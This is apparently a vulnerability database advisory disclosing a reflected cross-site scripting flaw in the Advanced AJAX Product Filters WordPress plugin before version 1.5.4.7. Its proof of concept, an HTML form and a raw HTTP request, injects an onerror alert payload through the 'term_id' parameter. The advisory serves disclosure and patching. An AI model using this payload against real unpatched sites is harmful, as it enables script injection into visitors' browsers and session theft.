WordPress Plugin Vulnerabilities

Advanced AJAX Product Filters < 1.5.4.7 - Unauthenticated Reflected Cross-Site Scripting (XSS)

Description

The br_aapf_get_child AJAX action of the plugin, available to both unauthenticated and authenticated users does not sanitise the 'term_id' POST parameter before outputting it in the page, leading to reflected Cross-Site Scripting issue.

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="br_aapf_get_child" />
      <input type="hidden" name="type" value="any-string" />
      <input type="hidden" name="term_id" value='"<img src=1 onerror=alert(1)>"' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cookie: [unauthenticated/any authenticated user]

action=br_aapf_get_child&type=any-string&term_id="<img%20src=1%20onerror=alert(1)>"

Affects Plugins

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
dc11
Submitter
dc11
Verified
Yes

Timeline

Publicly Published
2021-06-09 (about 2 years ago)
Added
2021-06-17 (about 2 years ago)
Last Updated
2021-06-25 (about 2 years ago)

Other